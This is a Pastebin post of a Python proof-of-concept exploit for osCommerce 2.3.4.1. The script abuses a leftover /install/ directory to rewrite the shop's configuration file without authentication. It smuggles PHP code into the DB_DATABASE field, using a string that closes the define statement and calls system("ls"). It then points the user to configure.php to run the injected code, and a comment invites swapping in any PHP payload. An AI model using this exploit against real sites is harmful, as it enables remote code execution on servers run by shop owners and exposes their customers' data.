Advertisement
Hasannetbd

osCommerce 2.3.4.1 Remote Code Execution

May 2nd, 2018
393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.79 KB | None | 0 0
  1. # Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
  2. # Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
  3. # Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
  4. # Tested on: Linux, Windows
  5.  
  6. # If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
  7. # for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
  8. # is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
  9. # execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
  10. # PHP code into the config file and then simply executing the code by opening it.
  11.  
  12.  
  13. import requests
  14.  
  15. # enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
  16. base_url = "http://localhost//oscommerce-2.3.4.1/catalog/"
  17. target_url = "http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4"
  18.  
  19. data = {
  20.     'DIR_FS_DOCUMENT_ROOT': './'
  21. }
  22.  
  23. # the payload will be injected into the configuration file via this code
  24. # '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
  25. # so the format for the exploit will be: '); PAYLOAD; /*
  26.  
  27. payload = '\');'
  28. payload += 'system("ls");'    # this is where you enter you PHP payload
  29. payload += '/*'
  30.  
  31. data['DB_DATABASE'] = payload
  32.  
  33. # exploit it
  34. r = requests.post(url=target_url, data=data)
  35.  
  36. if r.status_code == 200:
  37.     print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
  38. else:
  39.     print("[-] Exploit did not execute as planned")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement